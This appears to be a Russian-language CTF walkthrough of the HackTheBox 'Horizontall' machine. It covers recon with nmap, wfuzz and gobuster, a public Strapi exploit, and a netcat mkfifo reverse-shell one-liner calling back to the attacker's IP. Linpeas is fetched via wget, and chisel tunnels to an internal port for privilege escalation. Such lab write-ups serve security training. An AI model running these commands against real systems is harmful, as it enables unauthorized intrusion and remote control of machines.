Введение
Начинаю публикацию решений машин с площадки HackTheBox. Надеюсь этот туториал станет небольшой подсказкой тем, кто только начинает свой путь в этичном взломе. Начнем....
Для успешного прохождения необходимо:
Знать, что такое эксплойт
Уметь "правильно” гуглить
В итоге мы узнаем:
Как искать точку входа
Что нужно для повышения привилегий
Почему пробросить порт стало так просто
Разведка
Именно с разведки начинается любая атака на целевую систему. Необходимо понять, что вообще можно атаковать. Используем сканер nmap.
nmap -A -sC -sV -Pn 10.10.11.105 -p-.
Получили следующее:
Любой порт является потенциальной точкой входа, но имея небольшой опыт пребывания на данной площадке могу сказать: "22 порт не наш вариант". Пользователи тут замысловатые и пароли у них серьезные. Наша цель – 80 порт. Едем дальше..
Для начала добавим IP атакаемой машины в файл /etc/hosts, что обращаться по доменному имени.
Отлично! Посетим веб-сайт, может найдем что-нибудь интересное...
Рекомендую «бегло» просматривать код страницы. В нем может заваляться чувствительная информация (пароли, версии используемого ПО, полезные ссылки). Далее перебор директорий, но тут, к сожалению dirbuster не справляется...
Любая уважающая себя компания будет использовать в своих целях несколько доменов. Это следующее, что необходимо проверить. Машины с HTB находятся в vpn сети, поиск поддоменов через онлайн сервисы к результату точно не приведет. Для этого отлично подойдет утилита wfuzz.
wfuzz -w subdomain.txt -u 'http://horizontall.htb/' -H "Host: FUZZ.horizontall.htb" --hc 301
И спустя некоторое время...
Данный поддомен необходимо добавить в файл /etc/hosts и сразу проверить на наличие интересных директорий.
gobusterdir -u http://api-prod.horizontall.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x txt,php –e
Точка входа
CMS Strapi. Немного погуглить... Точка входа найдена!
Применяем эксплойт.
python3 50239.py http://api-prod.horizontall.htb/
Экплойт работает, shell есть!
Я сразу поднимаю у себя локальный сервер (nc -nvlp 1234) и получаю обратный shell (rm /tmp/f; mknod /tmp/f p;cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.14.10 1234 > /tmp/f). Все обратные shells приведены тут. Я использовал вывод команд через файл (rm /tmp/f;mknod /tmp/f p;cat /tmp/f), так как при обычном подключении (nc 10.10.14.10 1234) вывод команд не отображается. Это связано с настройками целевой системы, а именно с тем, что пользователь strapi по умолчанию не имеет интерактивной оболочки.
Для удобства перейдем в bash.
python3 -c 'import pty;pty.spawn("/bin/bash")'
Повышения привилегий
Для повышения привилегий я использую проект linpeas.sh. Предварительно подняв сервер (python3 -m http.server) и закачав его на атакуемую машину (wget http://10.10.14.10:8000/linpeas.sh).
Запускаем скрипт и ждем пару минут
sh linpeas,sh
Данный скрипт позволяет собирать информацию о системе, версиях используемого ПО, открытых портах и т.д.
База данных mysql, а вот на 8000 порту может быть что-то интересное.
Как достучаться?
Итак, мы подошли к самому главному в этой статье. Проброс порта - штука полезная, но немного не понятная. Раньше я пробрасывал как описано тут. Для успешного проброса необходимо либо найти пароль пользователя, либо настроить свою ssh службу (которая по умолчанию не настроена).
Скрипт с задачей справился и нашел пароль, но он, к сожалению не подходит
А еще с пробосом через ssh существует море проблем...
Тайминги
Пользователю нельзя использовать ssh
Подключения логируются
За ssh, как правило следят
Полазив в интернете, я нашел интересное ПО, которое позволяет пробросить порт за считанные секунды. Встречайте, chisel. Данное ПО состоит из двух компонентов: сервера и клиента. Сервер поднимаем у себя, а клиент на целевой системе.
Не забудьте дать клиенту право на исполнение.
Получается, что между нашими машинами был создан своего рода туннель. Более подробно об этом можно посмотреть в этом видео. Теперь обратимся к 8001 порту, через localhost.
Поиск эксплойта в интернете не занял много времени.
Используем.
Получаем shell как описано выше.
Тачка пройдена! Всем удачного взлома.